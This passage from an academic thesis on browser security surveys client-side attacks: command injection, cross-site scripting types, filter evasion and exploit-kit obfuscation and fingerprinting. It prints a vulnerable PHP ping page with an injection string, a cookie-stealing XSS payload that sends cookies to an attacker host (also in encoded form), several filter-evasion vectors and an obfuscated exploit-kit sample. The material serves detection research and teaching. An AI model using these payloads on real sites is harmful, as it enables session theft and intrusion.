all the gaps, ambiguities and misunderstandings to place his attacks. Most users expect
browsers to converge toward the norms, but it is not the reality. A skilled attacker uses
these diﬀerences to escape detection schemes.
Security Through Stability
If we want to design eﬃcient security, we ﬁrst need to have a non-confusing and stable
behavior. Because each new functionality should be reviewed from a security perspective,
to estimate its impact on the system, security oﬃcers and engineers are often seen as
"Mr. No". This negative reputation of people in charge of security positively reﬂects how
carefully system evolution has to be managed. From a security viewpoint, continuity and
control are critical for evolution to avoid the system regressing (see section 5 on regression
testing).
In software engineering, we force the convergence through norms, requirements, inte-
gration testing and so on., and software developers must comply with this eﬀort towards
convergence or they will face severe economical drawbacks. But browsers are not under
6
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the typical customers requirements we can expect in software. The customer does not
directly pay for it, he does not clearly express what he wants. He does not even know
what he wants!
So browser vendors answered the same way car manufacturers did in the 60s [5]: more
speed, more gadgets. Distinguishing oneself is hard in a competitive market, and being
the ﬁrst to implement this or that new feature is a good way to stay in the lead. Browsers
are high-speed cars without seatbelts. To avoid browser related security issues, the ﬁrst
responses have been to call for a better rescue team (anti-viruses), safer roads (HTTPS),
while nothing was seriously done to build a crash-safe car.
Nowadays seatbelts are still optional in browsers, and people have to manually add
plug-ins to secure their browsers. Some have poorly designed seatbelts (see client side
security mechanism in section 2.2.3). Voices now ask for standardized ways to plug secu-
rity in a browser, but we are still far from such a standardized practice. Getting everyone
around the table and choosing a common feature set for security will still require time. In
the meantime, browsers are still crashing everyday under attacks. Thus we do not lack of
testing tools when it comes to the roads (see web application security testing in section
2.3), but we still do not have crash tests for browsers!
There is thus an urgent need to handle this browser intrinsic and over-time complexity,
by providing ways to keep up with the evolution pace of modern browsers. We have no
way to check how the browser behaves under known attacks to prepare our security
mechanisms accordingly.
In this state of the art, we provide an overview of the complexity causes in web
application (the road) and browsers (the car), and how attackers interact with this com-
plexity to design their attacks with a focus on the browser-speciﬁc attacks (car crashes)
in web application in section 2.1.3. Then we present existing security mechanisms for
these client-side attacks in section 2.2. We will also see how the roads are tested to see if
we can reuse some components in section 2.3. Since each car is diﬀerent, and each driver
has its habits and customizes his car, we will look at an existing mapping technique of
all these features and how it is used to identify each driver in a privacy oriented section
2.4 about ﬁngerprinting.
Across all these sections we will highlight the security challenges caused by browsers'
diversity and evolutions and we will conclude in section 2.5 by the research issue we
investigate and try to solve through this thesis.
State of the Art Mind Map
To guide the reader through this state of the art and to localize our contributions,
we provide a mind map of the thesis topics under the ﬁgure 2.1, highlighting the thesis
contributions. The state of the art starts from the broadest topic and goes deeper and
deeper towards the most specialized points of this thesis. We chose to split oﬀensive
aspects of computer security from defensive aspects but we all know they are strongly
linked and can't be separated in practice. Attacks knowledge is a prerequisite for a good
research in the defensive aspects of computer security & privacy.
These chapter sections are organized as follows:
7
 Annex A provide an overview of web technologies, and serve as a reminder for
those who are not familiar with the basics of web applications.
 Section 2.1 deals with oﬀensive security and web application attacks with a focus
on client-side attacks. It depicts the ﬁeld of oﬀensive security and focuses on the
most prevalent client side attacks: cross site scripting and drive-by download.
 Section 2.2 presents the intrusion detection ﬁeld with a focus on existing tech-
niques for detecting cross site scripting and drive-by download attacks.
 Section 2.3 focuses on the link between software testing and security: the bugs.
Then it emphasizes on existing methods in software engineering that can be used
for security testing.
 Section 2.4 oﬀers an overview of existing browser ﬁngerprinting techniques and
their relation with user privacy and client-side attacks detection
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2.1. CLIENT-SIDE ATTACK IN WEB APPLICATIONS
2.1 Client-Side Attack in Web Applications
You take the red pill and you
stay in wonderland and I show
you how deep the rabbit-hole
goes.
Morpheus, The Matrix
In this section we will take a step back to have a broad look on computer attacks.
We will deﬁne several terms used in the rest of the thesis. Then we will discuss software
attacks happening at the application layer: HTTP. Then we will evoke server-side attacks
and focus on client-side attacks. In this focus we will detail XSS attacks and drive-by
download. The ﬁrst is used by cybercriminals to introduce code within web applications,
and the second is used to compromise users through HTML and JavaScript code.
2.1.1 Computer Attacks
We can artiﬁcially split the IT world in two categories, information carriers, and
information processing; each one having its share of security issues. For communications,
each connection complies with a reference model, the obsolete OSI model for instance
that deﬁnes seven layers for network structure. Internet and TCP/IP world refers to
a TCP/IP model divided in four layers. In both models, information carriers use the
lower levels for their networks, while information processing is attached to the upper
layer called application. As for communication, such classiﬁcation can also be applied to
computer attacks, distinguishing the network-level and application levels.
Computer attacks are hard to classify since they show multiple facets, from the attack
vector to its eﬀects and associated countermeasures and related exploit availability. A
multi-dimensional taxonomy was proposed by Hansman et al. to handle this complexity
[6].
Network-level attacks range from distributed denial of service (DDoS) with various
strategies like DNS ampliﬁcation, to various man-in-the-middle (MITM) techniques to
hijack connections. Any attack below the application layer can be considered a network
attack.
Application-layer attacks vary from buﬀer overﬂows to exposed services speciﬁc vul-
nerabilities like web attacks. Many security vulnerabilities ﬁt this class of applicative
attacks. It can either be as simple as exploiting the application logic to extract sensitive
information, or be as complex as exploiting a heap overﬂow within a browser running
into an hardened environment. Application-level attacks are usually built by combining
attack vectors and a payload.
Attack Vector
An attack vector is deﬁned as the technical mean used to carry out an attack [6].
With this very vague notion, any means used to interact with a vulnerable system is
10
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an attack vector. An attack scenario can be perceived as a succession of attack vectors.
Each attack vector forms a step towards arbitrary code execution, the sequence of all
attack vectors constituting an attack scenario. Once interpreted at the right level by the
application, the attack payload is executed. Like in a multi-staged space launcher, each
vector carries the payload to another level until orbital stage is reached.
For example, an attacker exploits an information disclosure vulnerability to obtain
the version of a service. Then he exploits a vulnerability on the identiﬁed service to
execute arbitrary code on the system. He chooses to place a shell on the system, and
then looks for privileged services running on it. Once a vulnerable service is identiﬁed he
exploits the vulnerability to escalate his privileges to the administrator level. Each of these
steps rely on an attack vector : information disclosure, arbitrary code execution, absence
of process isolation, vulnerable privileged service. Took alone, each vector is insuﬃcient
to gain administrator access on the system. But chained together in an attack scenario,
it allows to become an administrator.
Attack Path
An attack path can be viewed as the succession of attack vectors in an attack, minus
the ﬁnal payload. In our space launcher metaphor, the attack path is only the rocket
without the satellite.
For example, in a buﬀer overﬂow on an online service, network connectivity is the ﬁrst
vector. The second vector is the data format of the network payload. The third vector
is a string long enough to trigger the overﬂow. Such attack string is appended with a
shell-code carrying the ultimate payload to be executed to transform the attack path into
a concrete attack scenario.
Attack Surface
The attack surface of a given system in Hansman taxonomy [6] consists of all the
attack vectors present on a system. A system can be considered vulnerable if the attack
vectors present can be chained together by an attacker to impact the security properties
of the system 1.
Relative Attack Surface
In security analysis, the notion of relative attack surface measurement, and attacka-
bility for a given system is key. Identifying the weaknesses of a system is a ﬁrst step in
establishing a security strategy. One strategy to secure a system consists in reducing its
attack surface to reduce its threat exposure. The attack surface is deﬁned as the amount
of attack vectors a system is sensitive to, being given the implicit knowledge of the set
of potential attack vectors. A system with a smaller relative attack surface is considered
much more secure than another if it is exposed to fewer attack vectors [7] [8], in other
1. CIA: Conﬁdentiality, Integrity, Availability
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words it is considered less attackable than the others. Of course the absolute attack sur-
face is unknown and we are aware only of a portion of it, since our knowledge of all
possible attack vectors is unknown. This is why we ﬁnd the term relative attack surface
is more appropriate to describe the state of vulnerability of a system.
Defense in Depth
Another strategic security principle named defense in depth 2 consists in adding sev-
eral layers of security at diﬀerent points in the system in order to intercept or mitigate
each attack vector. In this context, each security mechanism must be adapted to the
supervised layer to achieve full eﬃciency. Thus when assessing a multi-layer security, we
should keep in mind the inter-dependency of each security layers, and assess them sepa-
rately for a good security overview. Focusing only on few visible attack paths without a
global approach leaves holes and lever points for attackers [9]. A security approach must
be global, since the strength of a security chain is equal to its weakest link.
Focusing on a speciﬁc attack vector and ﬁnding countermeasures for it is a good way
to add another brick in the wall, but if walls aren't well joined together, they oﬀer no
protection at all for those within.
This was the common mistake in the last decade. Many investments were made in
perimeter hardening techniques like ﬁrewalls and proxies but little for an overall appli-
cation security.
Recapitulation
To sum up, computer attack is an instance of one or several attack vector, executed
against a target system, and associated with an attack payload, impacting the security
properties of the system. Any action impacting the security properties of a system is
an attack. And the technical mean of this action is the attack vector. As we have seen,
measuring this attack surface is important for security. In section 2.3 how this attack
surface is measured in practice. Securing a system consist in reducing the relative attack
surface of the system. Discovering the remaining attack surface is done by researching
new attack vectors and helps in having an up-to-date view of the system's security.
In this wide research space we chose to focus our research on web applications and
associated attacks due to their popularity, and we will see how attack vectors and attack
surface notions can guide us on our journey.
We will see in section 2.5 that this vector stacking can lead to complex detection
issues, each layer oﬀering its own kind of evasion techniques.
2. http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/outils-methodologiques/\\
la-defense-en-profondeur-appliquee-aux-systemes-d-information.html
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2.1.2 Web Application Vulnerabilities
Web-application vulnerabilities is the most widespread family of ﬂaws impacting to-
days Information Systems (IS). According to XForce 2012 annual report 3, web applica-
tions count for 14% of all disclosed vulnerabilities.
This is highly related to the explosion of the web and massive investments done
during the social-networking era (a.k.a. web 2.0), and the current cloud trend (which is
the resurgence of the mainframe model with browsers).
Web technologies are an ever growing ecosystem composed of many languages grav-
itating around HTTP and it's TLS counterpart HTTPS. Many issues emerged [10] as
rendering web pages evolved from static HTML documents to dynamically generated
documents. This evolution produced the need for on-demand HTML generation served
by a 3-tier architecture [11], introducing all sorts of injection ﬂaws impacting each layer.
These injection ﬂaws are often labeled according to the impacted component:
 SQL injection, when the SQL query construction is impacted;
 command injection, when commands submitted to the OS shell are impacted;
 cross site scripting, when the constructed HTML, JavaScript or any client-side
scripting language is altered;
 XML injection, when XML based queries are impacted;
 foo injection, where foo is a speciﬁc format for any given parsing engine.
The listing lst:cmdvuln present an example of a PHP web page used as a ping com-
mand front-end. The IP to ping is inputed in the web form, and send to the web server
by the user-agent. The server-side code use the user's input to create a ping command.
Listing 2.1  ping php page vulnerable to command injection
1 <form Action="index.php" method="POST" >
2 <input type=text size=15 name=ip>
3 <input type=submit value=Ping>
4 </form>
5
6 <?
7 if(isset($_POST['ip'])){
8 $ip=$_POST['ip'];
9 exec("ping ".$ip." -c 3",&$retour);
10 foreach($retour as $ligne){
11 echo($ligne."<br/>");
12 }
13 }
14 else{
15 echo("no IP parameter given");
16 }
17 ?>
The vulnerability rely on the absence of input control for the ip ﬁeld, and the absence
of proper escaping of the meaningful characters present within the $ip parameter. If an
3. XFORCE Report http://www.ibm.com/ibm/files/I218646H25649F77/Risk_Report.pdf
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attacker injects a &&, he will start a new command within the same command-line. But
the ﬁrst command will execute endlessly, causing the web page output to hang. The
attacker must then terminate the ﬁrst command properly, and take care of the dangling
rest of the command -c 3. Producing a valid syntax out of the injection is the key of a
successful attack. the listing 2.1.2 present a valid command ton inject in the ip ﬁeld.
1 127.0.0.1 -c1 && id && ping 127.0.0.1
Su et al. modeled the web application as a transition function from user-inputs to
a target language [12]. An injection attack occurs when the user inputs cause an aug-
mentation of the target language Abstract Syntaxic Tree(AST). In our example, usual
commands are composed of few tokens: ping,127.0.0.1 and -c3. But the command re-
sulting from the attack use new tokens: && and ls. Developers commonly use a stable
subset of the language grammar in their query deﬁnition. Thus an input injection result
in an increase of the output parse-tree compared to the usual parse-tree. Identifying the
grammar subset of the output is equivalent to expressing a post-condition for the query
output. This post-condition captures the developers intents. It takes the form of a smaller
grammar validating the outputs.
Several security mechanisms rely on this form of post-condition enforcement. This
will be discussed in section 2.2.4 and 2.2.6. One other issue comes from the targeted
language's complexity, like with HTML where many norms versions with unclear or
conditional requirements, adds up, making it very complicated to parse.
Other issues are due to the stateless part of HTTP, when developers want to track user
sessions in the server-side code. To do so cookies were introduced in HTTP headers [13];
providing a state control mechanism to an originally stateless protocol. This brought some
issues in session management of web applications [14]. Indeed some security mechanisms
were added to the cookie to enforce its security on the user-agent side like the HTTPOnly
ﬂag to avoid JavaScript accessing session cookies, and the secure ﬂag. We will discuss
this in section 2.2.6.
The Open Web Application Security Project(OWASP) proposes the top-10 mostly
widespread security ﬂaws in web applications. This vulnerability set doesn't cover all
possible kind of ﬂaws, but provides a good starting point for newcomers in web application
security. Testers can make use of the OWASP testing guide for manual web application
security assessment.
Web-application vulnerabilities can be separated into two categories: server-side at-
tacks targeting the web application itself, and client-side attacks targeting the browser
through the web application.
We have chosen to focus on client-side attacks for this thesis even if many interesting
challenges also arise with server-side attacks.
2.1.3 Client-Side Attacks
In this section, we will depict in detail two client-side attacks: XSS and drive-by
download. The former is intimately bound to the browser's behavior, and the later exploit
its vulnerabilities.
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In cross site scripting(XSS), the attacker traps the user to make him execute his code
in the target website window context. A victim's browser will then perform actions on
the user's behalf, like sending his session's cookie to the attacker, or executing actions on
target website. It is named cross site, because the script can be imported from another
website, legitimating the access of the browser's content to the attackers site.
In drive-by download, the attacker uses Iframes to hide its attack from the user's
view, and then execute several JavaScript functions to ﬁngerprint the browser and ex-
ploit vulnerabilities in it. Once the vulnerability exploited, the oﬀensive code triggers a
malware download. The infection is thus driven by a browser download.
As they target browsers, drive-by download attacks make heavy use of browser's
API like the DOM, for heap-spraying 4 prior to heap-related vulnerability exploitation,
for ﬁngerprinting or for ﬁlter evasion. The attack code is always written using HTML
and JavaScript in all cases. In clickjacking, the victim is tricked on the attacker website
to perform actions on its behalf on the target website. The attacker uses HTML and
JavaScript on its website to move the target website within an Iframe right under the
mouse pointer. When the user thinks he has clicked on the attacker website, in fact he
really clicked on the target website. More limited client-side attacks exists, but they
all trigger mechanism similar to XSS in a way or another. This is why we choose to
focus on XSS attacks. During our thesis work, we discovered a strong synergy with the
issues encountered by malware analyst dealing with drive-by download attacks and XSS
attack detection. Obfuscation techniques used in drive-by download have a lot in common
with the anti-XSS ﬁlter evasion techniques used in cross site scripting attacks. The two
following sections describe these attacks in details.
2.1.4 Cross Site Scripting
In 2000, the CERT released an advisory on cross site scripting (XSS) vulnerability
[15], a growing threat for the next 10 years. Nowadays, 14 years later, XSS attacks are
still the major threat for web clients. Several reasons can explain this, and one of them
is the constant evolution of web browsers over the last decade in order to implement new
functionalities and instantiate new HTML and JavaScript standards to support richer
applications. A XSS worm is a serious threat for social networks and an active research
was done on this topic since samy worm infection. The analysis done in the industry by
Grossman [16], followed by more academic work by Shanmugam et al. [17] and later by
Faghani et al. [18] stated the high vulnerability of websites at that time, and the highly
noxious potential of a XSS worm in social networking websites.
An XSS Attack Example
To illustrate this part, we will describe a very basic example of XSS attack. The
example web page is a search engine frontend for book search. In the sample source code
4. Heap-spraying consist in allocating a massive amount of objects to set the heap in a peculiar
state allowing the exploitation of use-after-free vulnerabilities. It is the most common DOM-related
vulnerability in browsers
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listing 2.2, we can see that no control is done either on the input, and no encoding is done
on the output. Thus, an attacker can insert HTML code to achieve arbitrary JavaScript
code execution. When triggering the search URL with an <IMG> tag like the one in listing
2.3, its content will be reﬂected back within the web page HTML (see listing 2.4). In order
to steal the session cookie from the user, the attacker has to setup an attack payload (see
listing 2.5). As you can see, the onerror attribute only accepts a function as value. The
attacker encodes the string in a single eval() (see listing 2.6) function call to bypass
this limitation. Once the attack URL properly forged, he can pass it as a link within an
email or in popular social networking sites to trigger the vulnerability and collect users'
sessions.
Listing 2.2  Vulnerable page source extract
1 <?php
2 $search=$_GET[search];
3 ...
4 echo("your search results for <b>" . $search . "</b> are:<br>");
5 ...
6 ?>
Listing 2.3  XSS attack url with a dummy payload
1 http://vuln.website.com/textbook.php?search=<img src=x onerror=javascript:alert
(1)>
Listing 2.4  Web page output
1 <html>
2 <head>
3 <title>Search Results</title>
4 </head>
5 <body>
6 [...]
7 <form name="input" action="/book.php" method="get">
8 <input type="text" name="search"><br>
9 <input type="submit" value="Search">
10 </form>
11 <div class=searchresults>
12 your search results for <b> <img src=x onerror=javascript:alert(1)> </b>
are:<br>
13 [...]
14 </div>
15 [...]
16 </body>
17 </html>
Listing 2.5  Cookie stealing payload
1 document.write(
2 "<img src='http://attacker.website:80/cookie="
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3 +document.cookie+
4 "'>woops :)</img>");
5 document.close();
Listing 2.6  Encoded payload executed with eval() function
1 <img src=x onerror=javascript:eval(String.fromCharCode(100,111,99,
2 117,109,101,110,116,46,119,114,105,116,101,40,34,60,105,109,103,
3 32,115,114,99,61,34,104,116,116,112,58,47,47,97,116,116,97,99,
4 107,101,114,46,119,101,98,115,105,116,101,58,56,48,47,99,111,
5 111,107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,
6 111,107,105,101,62,119,111,111,112,115,32,58,41,60,47,105,109,
7 103,62,34,41,59,10,100,111,99,117,109,101,110,116,46,99,108,111,
8 115,101,40,41,59)) >
A XSS vector is a minimal combination of HTML elements able to trigger JavaScript
code execution when interpreted by a browser. Those XSS vectors are testable HTML
parser quirks. Many XSS vectors can be found in the XSS cheat sheet [19] and the
HTML5 security cheat sheet [20] (see section 6.4.3 for more details).
A XSS attack aims at modifying web application output by injecting parts of HTML
or JavaScript in its inputs. Other client-side scripting languages can be used as well.
When the injection occurs, the modiﬁed output form an executable XSS vector.
A XSS vector execution comes in two parts: the browser parses the HTML, identifying
the parts of the Document Object Model and building an internal representation of it.
Then it calls on the identiﬁed JavaScript (from <script> tags or tags' properties) and
executes it if necessary (it is not always the case when it comes to onevent properties
such as onload or onmouseover).
Given the dynamic nature of today's web applications, and the variety of browser's
implementations when it comes to interpreting HTML and JavaScript (JS), it is hard to
guess if a XSS vector passing through a web application will be a threat or not for users
depending on the user-agent they use. Most security mechanisms work well against basic
XSS but tend to fail against sophisticated ones. Those advanced XSS exploit rarely known
behaviors from peculiar interpretations of the HTML and other web page resources, in
order to evade known signatures and put JS calls in unexpected properties of some tags
like in listing 2.7:
Listing 2.7  XSS vector example
1 <DIV STYLE="width:expression(eval(String.fromCharCode
(97,108,101,114,116,40,39,120,115,115,39,41,32)));">
In this example, one must know that a regular CSS property expression executes JS
code on a Microsoft Internet Explorer (IE) browser. The CSS expression calls the JS
function eval() that itself calls String to convert data from decimal ASCII and produces
this simple and non-destructive payload (listing 2.8:
Listing 2.8  Decoded payload
1 <script>alert(xss)</script>
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This vector is very similar to the one used by the samy worm which hit myspace in
2005 5. After this general presentation, we will see in details the existing kinds of XSS
vulnerability:
 stored XSS
 reﬂected XSS
 DOM-XSS
 innerHTML mutated XSS
Stored XSS
Stored XSS happens when a server-side resource is used without proper sanitization
in the HTML/CSS/JavaScript context. Thus any time the vulnerable URL is requested
causing the script execution (see ﬁgure 2.1.4). It can be summarized as: attack once,
execute every time.
Serveur
(Web Application)Attacker
Insert <script>
Request vulnerable page
HTML Page with injected <script>
Compromised Information
Actions on Web Application
On behalf of the user
HTML Engine
(Web Browser)
Script Execution ?
JS Engine
(Web Browser)
HTML contains JS ?
Display Alteration
Figure 2.2  Stored XSS attack scenario
Reﬂected XSS
Reﬂected XSS occurs when a component in the HTTP request is used in the HTM-
L/CSS/JavaScript response context. The HTTP request must carry a part of the vector
(see ﬁgure 2.3). It can be summarized as attack once, execute once only.
DOM XSS happens when client-side code outputs web application data without
proper sanitization in the DOM context [21](see ﬁgure 2.4). DOM XSS vulnerabilities
arise in proportion with the popularity of many client-side scripting technologies.
Filter Evasion
Filter evasion happens when the attacker avoid detection or circumvents protections,
ﬁlters and encodings put by developers to defend the web application against XSS. An
attacker can evade existing anti-XSS ﬁlters by playing on how the attack is analyzed
5. samy worm sourcehttp://namb.la/popular/tech.html
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Figure 2.3  Reﬂected XSS attack scenario
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Figure 2.4  Stored DOM XSS attack scenario
by the defender, and how it is interpreted by the victim's browser. For example, if the
defender uses regular expressions to ﬁlter-out XSS vectors, the attacker will insert char-
acters in the HTML tag ignored by the browser but read by the regexp engine. By doing
so, the string won't match anymore, bypassing the ﬁlter. HTML comments can play a
similar role(see listing 2.9):
Listing 2.9  XSS vector using HTML comments obfuscation
1 <!--<img src="--><img src=x onerror=javascript:alert(1)//">
Here, the HTML parser might consider that the image source is between quotes, but
the HTML comments will be interpreted by the browser, causing a change in the <img>
properties.
Similarly, character encoding can also be used to evade ﬁlters. Once passed through
functions like InnerHTML or srcdoc like in listing 2.10:
Listing 2.10  XSS vector using srcdoc obfuscation
1 <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;
2 apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
19
2.1. CLIENT-SIDE ATTACK IN WEB APPLICATIONS
Serveur
(Web Application)Attacker
Insert HTML encoded attack
Request vulnerable page
HTML Page
HTML Engine
(Web Browser)
Normal Script
Execution
JS Engine
(Web Browser)
HTML contains JS ?
Compromised Information
DOM Modiﬁcation via
InnerHTML function Attack decoded
HTML contains new JSAttacker's JS
is executed
Figure 2.5  Stored InnerHTML XSS attack scenario
For more tricks on ﬁlter evasion 6, we recommend reading the book "Web Application
Obfuscation" [22].
InnerHTML based XSS
InnerHTML-mutation based XSS happens when an input is written in the Inner-
HTML property of an HTML tag through DOM API (see ﬁgure 2.5). During the re-
interpretation process, browser-dependent mutations can happen, causing drastic changes
in the output compared to the input. Such mutations can serve to evade security ﬁlters
an can cause XSS vulnerabilities [23].
Some XSS vulnerabilities can be triggered from less obvious data-sources 7 like net-
work share names crafted to generate an XSS when displayed by a web application. It
is the case for domestic smart-components like Smart-TVs embedding web-browsers and
network discovery capabilities [24]. Cross channel scripting (XCS) occurs when an un-
usual data-source carries the XSS vector [25]. This tackles another problem for security,
since we cannot easily push any security mechanism in such limited systems.
2.1.5 Drive-by Download
Browser vulnerability exploitation is the major source of malware infection [26] 8. This
attack is named drive-by download since vulnerability exploitation triggers automatic
download of malware on the victim's PC. The drive-by download attack process makes
heavy use of browser ﬁngerprinting to identify browser and plug-in versions to redirect
victim's to the suited exploit [27].
6. https://blog.whitehatsec.com/tag/filter-evasion/
http://ha.ckers.org/blog/20061103/\\selecting-encoding-methods-for-xss-filter-evasion/
7. http://drwetter.eu/amazon/
8. 89.2% according to Kaspersky
http://www.securelist.com/en/analysis/204792312/IT_Threat_Evolution_Q3_2013
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Exploit Kits (EK)
EK are software suites employed by cybercriminals to infect users via drive-by down-
load attacks. They form a collection of exploits sold on the black market with an ad-
ministration panel to monitor exploitation rate [28]. A typical drive-by download attack
can start with a spam campaign with links directing the users toward a landing URL.
It can be initiated with an Iframe inserted on a web page pointing towards a speciﬁc
malicious landing URL. Once the browser requests this ﬁrst URL, a series of redirections
occurs to blur the track. During this redirection phase, the browser is also subject to
ﬁngerprinting. Such ﬁngerprinting looks for speciﬁc plug-ins or browser versions known
to be vulnerable and then redirects the browser to an attack URL, or tries to exploit the
vulnerability directly. The infection process was thoroughly studied by Stone et al. [29]
during the Mebroot infection campaign, and infected website owners are quite slow to
remedy the infection. Kotov et al. [30] studied the exploit kits structure and defensive
strategies like user-agent validation routines present in 88% of the studied EK.
Obfuscation
It is one of the key techniques used by exploit kits to remain undetected. It consists
in encoding the JavaScript code with a custom routine, and then decoding it upon exe-
cution. This is done to avoid static analysis and code signature by changing the code's
appearance. JavaScript obfuscation relies on a few key elements of interpreted languages
rendering a static analysis ineﬀective:
 Dynamic code execution: eval(), window.setTimeout() and window.setInterval()
functions take JavaScript code or function deﬁnitions as a parameter. Anony-
mous function declaration can also be used instead of these functions and called
immediately like this: (function()\{alert('XSS');\})()
 Dynamic function call: window["eval"]() is equivalent to window.eval()
 Function & variable name randomization: dynamically deﬁned functions are gen-
erated for commonly used functions, and replaced in the rest of the code.
 Dead code insertion: unused functions and variables are declared between each
line of code. Some of them are highly complex but never used and are meant to
overload analysis.
 String encoding: strings are encoded using various formats like Octal: "\101" -> "A",
Hexadecimal: "\x41" -> "A", Unicode: "\u0041" -> "A". Sometimes an oﬀset
is added to decimal or octal encoding. Additional characters are also added to
the encoded characters. Sometimes pseudo-cryptography is employed to obfus-
cate strings.
Obfuscation is also mixed with sandbox detection techniques. These techniques often
consist in calling speciﬁc DOM functions to insert tags, code or scripts before using them
as follows:
document.getElementsByTagName('body')[0].appendChild(f);. Or by checking the
availability of a speciﬁc DOM-related function or property:
try{grbregd=prototype;}catch(...){if(window["document"])...}.
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Here is a reduced example of obfuscated code responsible for browser ﬁngerprinting
and redirection:
Listing 2.11  Obfuscated JavaScript and HTML code from an exploit kit
1 ...
2 <p>w5NF9XFAdIopCv7wnZ4NarXR6M1sywuv2IBAqRKUj0Kw5Qssz</p><br>
3 <b>ZwHN5220JtTbc2</b><br>
4 <i>BnMDL9MI4A1263eCu7GksS7Z2oAqDoZncw</i><br>
5 <h1>ysKcEi3cpOnJG8jd6HsJIiYsXmeLLO54HPgW9j9</h1><br>
6 <tt>Raon2t03m8zg42zEBpgV</tt><br>
7
8 <span id="itok" style="visibility:hidden">8404_!_5316732947155455614638461338
9 53025411555683693335339183185504_!_86465683732947155455614638
10 ...
11 7943156883523838125614148413392544556623180379114318080354313
12 <h1>ZjL1kLEvBvRVL6AhpFwRL9J29yi2nSgjC3jxNysYtJ5EPEvE</h1><br>
13 <tt>wtClHSk3HrjdRt07</tt><br>
14 <em>gn2RgDr2azeGpAP7arI9Ve3aNMwXUSVGFWhwkYxLY</em><br>
15 <adress>xM9dfpV9GPSCYdMu6iJMA9V</adress><br>
16 <p>fVe3RkNjiUX44uMRB</p><br>
17
18 <script>function M95(a){return String["fromCharCode"](a);};var ZO7SCVj;function
J3sD(){return "";}var kT3RF4NdW;function REY(AwuV){var CbZwEwq;EfjjH =
AwuV.split("^");var UT7kw9Hc;irE=J3sD();var dBZaDQ7MNi;for (i = 0;i < EfjjH
["length"];i++){var mQb7eZRm7U;irE += M95(EfjjH[i] - 12) ;var fALHMQQL;}var
DFDEdR;return irE;var JwzuwwZo;}var MRe7qLmZD;oT4 = REY("
131^117^122^116^117^112^112^113^122^112^123^131");var IlvfkwCOj;PRW = REY("
113^116^117^112^112^113^122^130^109^120");var XhtqGRmle;I4b = REY("
115^113^128^81^120^113^121^113^122^128^78^133^85^112");var
19 ...
20 e5WSsrnH;i++;var xwUxOzLS;}var L9MNw;zXGc=UL1Pz.Gmcip(mDSiU)[0].style.
visibility;var d0OsBs;this[oT4[V3wj](zXGc,"")][PRW[V3wj](zXGc,"")](g2g);var
g0Q9j;var BflDmW;</script>
21 <adress>qJgHAYSsUIe3fLLpnkAi9u8lqrjQdw3QGjiQHAJmTx</adress><br>
22 <p>VUC0B84EvgNLUsWmWvV9izrqMcRQRX0A3LJDTMS</p><br>
23 <em>PJ0x8u9p43wosoX</em><br>
24 ...
The following function is responsible for obfuscated strings decoding, and the ran-
domized name in the example is REY(). In this case, it is used to decode JavaScript
function names and parameters.
Listing 2.12  JS decoding function
1 function decode1(input_string1) {
2 var_splitted_string = input_string1.split("^");
3 return_string = ""//null_string();
4 for (i = 0; i < var_splitted_string.length; i++) {
5 return_string += String.fromCharCode(var_splitted_string[i] - 12);
6 }
22
CHAPTER 2. STATE OF THE ART
7 return return_string;
Here "115^113^128^81^120^113^121^113^122^128^78^133^85^112" correspond to
getElementById. It is used afterwards to grab the content of the <SPAN></SPAN> tags
via InnerHTML like this:
document.getElementsByTagName("span")[0].innerHTML; Junk characters are removed
form the obfuscated blob to form a long number string. Once decoded, it generate an
Iframe with a ﬁngerprinting function.
Fingerprinting
It is the other method used in exploit kits to avoid detection and to improve the infec-
tion eﬃciency. It relies on a lot of browser-speciﬁc techniques to identify its capabilities.
If the sandbox doesn't emulate the features employed in the ﬁngerprinting, the oﬀensive
code might not be executed and no redirection to the attack URLs will occur. As an
example, conditions on the user-agent length are used like in listing 2.13:
Listing 2.13  Fingerprinting example from EK
1 ...
2 var pipe=String.fromCharCode(184-navigator.userAgent.length);
3 kastohr = slowlN.replace("rp","r"+pipe+"p");
4 ...
This length corresponds to a speciﬁc set of Firefox browsers, and the obtained length
serves as a de-obfuscation key. Browser-speciﬁc URLs like ﬁrefox chrome:// are used to
check the presence of a given browser plugin (see listing 2.14) 9.
Listing 2.14  Fiddler plugin check
1 function fiddlercheck()
2 {
3 var xmlParser = new DOMParser();
4 var xmlDom = xmlParser.parseFromString("<!DOCTYPE overlay SYSTEM
5                 'chrome://fiddlerhook/locale/fiddlerhook.dtd'>
6                 <overlay><toolbarbutton  tooltiptext='&fiddlerhookToolbar.
tooltip;'/
7                 ></overlay>","text/xml");
8 var temp=xmlDom.documentElement.nodeName;
9 if(temp=="overlay"){ return "Fiddler";}
10 else{return "";}
11 }
M. Cova et al. [27] stated that the attacker could ﬁngerprint the emulation setup by
JSAND by inspecting diﬀerences with a standard browser.
In this race against malware writers, parser quirks identiﬁcation is the ﬁrst step
towards its emulation in order to achieve better detection rates against exploit kits in
9. Fiddler is a popular browser plugin used by malware analyst in exploit kit analysis
http://www.telerik.com/fiddler
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honeyclients. Since browser-quirks mapping is a great help for honeyclient 's authors,
during our thesis, we collaborated with thug's developer about issues caused by some
vectors used in our XSS testing suite to his tool (chapter 5 and 6).
2.1.6 Discussing the Challenges Raised by Client-Side Attacks
Numerous software ﬂaws can come from unexpected behaviors and an incomplete
understandings of techniques. The web techniques diversity splits developer knowledge
since they have to handle many of them to build a website. This may explain why
fourteen years after its discovery, XSS is still an unsolved issue. Since browsers are a
complex software piece handling so many diﬀerent technologies, such a statement on
knowledge dilution may also be true for browser-related security systems.
If we take into account current computer security strategies (attack surface reduction
and defense in depth), diversity of functions in software evolving around a technology
can be considered counter-productive in terms of security. This is quite diﬀerent from
the biological ﬁeld where diversity is a strong strategy for survival. This is maybe due
to the fact that vulnerable software is not yet eradicated from the web market where
they fail to bring security to users. Complexity is another issue, since the devil hide in
the details. When both are combined, security is probably at stake. Software diversity
in implementations of a given norm is good for resilience, allowing to choose the most
robust or the most secure version. The recent OpenSSL security issues is a good example
where many legacy features impaired the security. All those browser-related security
issues are the fallouts of the browser wars, a legacy of features and functions never cut.
For development in general, reducing the code might be a good way to reduce software
attack surface.
Considering the high complexity of a browser, we can question ourselves about the
inﬂuence of browser-speciﬁc features on those client-side attacks, and the real impact
of browser-speciﬁc behaviors on client-side attack detection? Such browser speciﬁcities
should normally be taken into account in security components designs: Is it really the
case?
Considering XSS Issues, is there a way to measure diﬀerences or similarities between
